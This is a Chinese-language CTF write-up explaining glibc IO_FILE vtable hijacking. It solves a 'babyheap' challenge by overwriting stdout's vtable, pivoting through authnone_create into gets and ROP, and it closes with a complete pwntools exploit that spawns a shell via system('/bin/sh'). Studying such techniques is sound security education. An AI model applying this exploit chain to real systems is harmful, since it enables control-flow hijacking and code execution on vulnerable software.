基础知识
IO_FILE 是一种控制流劫持技术,通过修改 stdout 结构体,来将控制流跳转到程序的任何位置。
首先我们来学习一下 IO_FILE 结构体的相关知识:
_IO_FILE_plus
这个结构体中包含了另外的两个结构体,其中_IO_FILE 是文件结构的属性,*vtable 是一个虚表,里面存放了一些重要的指针,我们的控制流劫持技术就是通过劫持虚表来控制rip。
同时,这个表可以通过
struct _IO_FILE_plus
{
_IO_FILE file; // 占用0xd8字节
IO_jump_t *vtable;
}
这两个结构体的地址都可以通过 libc 进行查找
stdout_addr = libc_base + libc.symbols['_IO_2_1_stdout_']
stdout_addr_vtable = stdout_addr + 0xd8
_IO_FILE
这个是文件流的相关定义和数据
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain; //这个地方,指向了下一个结构体,用于将所有的FILE连接成一个链表
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
下面这是在 pwndbg 中获取到的 _IO_FILE_plus 结构体的数据,供参考(来源)
gef➤ p *(struct _IO_FILE_plus *) stdout
$2 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_read_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_ptr = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_write_end = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_base = 0x7f5b6742a6a3 <_IO_2_1_stdout_+131> "\n",
_IO_buf_end = 0x7f5b6742a6a4 <_IO_2_1_stdout_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f5b674298e0 <_IO_2_1_stdin_>,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7f5b6742b780 <_IO_stdfile_1_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7f5b674297a0 <_IO_wide_data_1>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f5b674286e0 <_IO_file_jumps>
}
如果 libc 的版本是 2.23, 我们在构造结构体的时候不用理会 _IO_FILE
但是 libc 2.24 版本及以上对 _IO_FILE 进行了检测,所以这个结构体也要一同构造
下面是检测的定义
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
_IO_jump_t
这是一个虚表,里面存放了多个函数的指针,它会在程序进行输出等过程时调用。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
以下是 *vtable 中,各个函数所要调用的地址,根据自己要进行攻击的函数,来确定覆盖哪一个指针。
void * funcs[] = {
1 NULL, // "extra word"
2 NULL, // DUMMY
3 exit, // finish
4 NULL, // overflow
5 NULL, // underflow
6 NULL, // uflow
7 NULL, // pbackfail
8 NULL, // xsputn #printf
9 NULL, // xsgetn
10 NULL, // seekoff
11 NULL, // seekpos
12 NULL, // setbuf
13 NULL, // sync
14 NULL, // doallocate
15 NULL, // read
16 NULL, // write
17 NULL, // seek
18 pwn, // close
19 NULL, // stat
20 NULL, // showmanyc
21 NULL, // imbue
};
babyheap
首先 checksec
本题的 libc 为 2.23 ,所以暂不考虑 *vtable 的有效性检测问题。
简单分析
这是一个用户管理程序,有 add, edit, ban, changename 四个功能。
- add 功能负责在 users 处申请指针,并开辟堆块存放 name
- edit 负责对 users 数组中非空的堆块进行修改(没有检测该堆块是否合法)
- ban 负责把 某个users free掉,并且把指针置零
- changename 负责修改 name 处的名字,是管理员的名字
这就可以造成任意地址写, 我们可以在 name 处布置地址,然后通过 edit 来修改。
同时,还有一个明显泄露 read 函数真实地址的点,可以获取 libc 地址。
因为 FULL RELRO,我们不能对 got表 进行修改来劫持控制流,这里就要用到 _IO_FILE 利用方法了。
_IO_FILE利用
我们先将 *vtable 的值改为 0x602088 (bss_name-0x18),然后随即在puts上面下断点:
payload2 = p64(bss_name - 0x18)[:6] #至于为什么只改六位,那是因为edit会查询原地址的字符串长度,最多能改六个字节,不过已经够用了
edit(2, 12, payload2)
我们看到在 puts+165 的位置,程序 call [rax + 0x38],这就是 vtable 的作用,程序在输出的时候会调用这个表,在puts时调用的就是 *(vtable + 0x38),所以我们稍微构造一下 [rax+0x38](已经转移到了 bss段上,也就是bss_name + 0x20),就把rip劫持到了。
本题我劫持到了 authnone_create 函数,具体介绍见下文。
authnone_create利用
这里用到了一个特别有用的 控制流劫持转ROP 的技术,就是 authnone_create - 0x35 这个位置(也叫 authnone_create_one + 139)
这个地方执行了以下操作:
- 栈地址存放到了 rdi寄存器
- 再次调用一个偏移为 [rax+0x20] 的地址(即 [bss_name+0x8]可以构造成某个函数)
- 会检测 [rax + 0x38] 处是否为 NULL,若是,则会触发 ret
如果我们在第二步调用了一个 gets 函数,就能成功向栈里写入 payload,从而实现ROP。
啰嗦一句,第二三步的 rax并不是 *vtable + 0x38, 它已经被刚刚的栈溢出进行了修改,这个值存放在[rsp+8]
这里我即将进行 gets,rdi确实就是栈顶的位置
这里 gets函数的细节我就不展示了,因为是照着 exp 一步步调试的,所以栈结构被我布置了一下,大家只需要知道这个方法可以刚好从栈顶开始覆盖就行。
可以看到 rax 被修改了,不再是之前的 0x602088,那么其实我这里构造的 [rax+0x38] 就是 [name+0x8]
rax == 0 刚好通过检测,将要执行 add rsp, 0x30, pop rbx,其实合并起来就是 add rsp, 0x38,在rop中添加padding即可。
接下来就是自由的 rop 环节了,可以寻找 one_gadget ,也可以自行调用 system函数,这个取决于自己的喜好了。
不过可以直接 pop_rax_ret,把 rax 改成 0, 然后onegadget,我觉得更便捷。
exp
from pwn import *
from time import *
context.log_level = 'DEBUG'
p = process('./babyheap')
elf = ELF('./babyheap')
libc = elf.libc
def add(size, con):
p.sendlineafter('6. exit', '1')
p.sendlineafter('size: ', str(size))
p.sendlineafter('username: ', str(con))
def edit(typ, idx, con):
p.sendlineafter('6. exit', '2')
p.sendlineafter('1. secure edit\n2. insecure edit', str(typ))
p.sendlineafter('index: ', str(idx))
p.sendafter('new username: ', str(con))
def ban(idx):
p.sendlineafter('6. exit', '3')
p.sendlineafter('index: ', str(idx))
def changename(con):
p.sendlineafter('6. exit', '4')
p.sendlineafter('enter new name:', con)
#gdb.attach(p)
p.sendlineafter('enter your name:', 'mrh929')
p.sendlineafter('6. exit\n', '5')
p.recvuntil('your gift:\n')
read_addr = int(p.recvuntil('\n'))
libc_base = read_addr - libc.symbols['read']
system_addr = libc_base + libc.symbols['system']
stdout_vtable = libc_base + libc.symbols['_IO_2_1_stdout_'] + 0xd8
bss_name = 0x6020a0
xchg_ret = libc_base + 0x4727e
gets_addr = libc_base + libc.symbols['gets']
authnone_create = libc_base + libc.symbols['authnone_create'] - 0x35
pop_rdi_ret = libc_base + 0x21102
success('read_addr:' + hex(read_addr))
success('libc_base:' + hex(libc_base))
success('system_addr:' + hex(system_addr))
success('stdout_vtable_addr:' + hex(stdout_vtable))
payload1 = p64(stdout_vtable) + p64(gets_addr) + '/bin/sh\x00'+ 'a'*(0x10-8) + p64(authnone_create)
#gdb.attach(p, 'b *0x400c2b\nc\nb *{}\nc'.format(hex(libc_base+libc.symbols['authnone_create']-0x35)))
changename(payload1)
payload2 = p64(bss_name - 0x18)[:6]
edit(2, 12, payload2)
payload3 = p64(0) + p64(0x602058-0x38) + 'b'*0x28 + p64(pop_rdi_ret) + p64(bss_name+0x10) + p64(system_addr)
p.sendline(payload3)
#sleep(0.1)
#p.sendline(payload2)
p.interactive()
总结
通过本题我们学到了通过 _IO_FILE 来劫持控制流的方法,以及仅仅通过控制流劫持来触发ROP的构造方式(authnone_create-0x35)。